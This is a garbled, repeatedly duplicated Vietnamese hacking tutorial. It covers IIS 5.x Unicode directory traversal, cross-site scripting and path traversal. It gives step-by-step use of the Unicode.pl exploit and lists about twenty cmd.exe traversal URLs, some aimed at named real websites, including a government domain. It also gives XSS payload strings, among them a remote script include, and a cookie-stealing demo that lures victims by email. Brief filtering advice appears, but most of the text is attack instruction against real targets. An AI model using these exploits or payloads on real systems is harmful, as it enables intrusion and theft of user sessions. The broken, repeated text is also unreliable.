đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
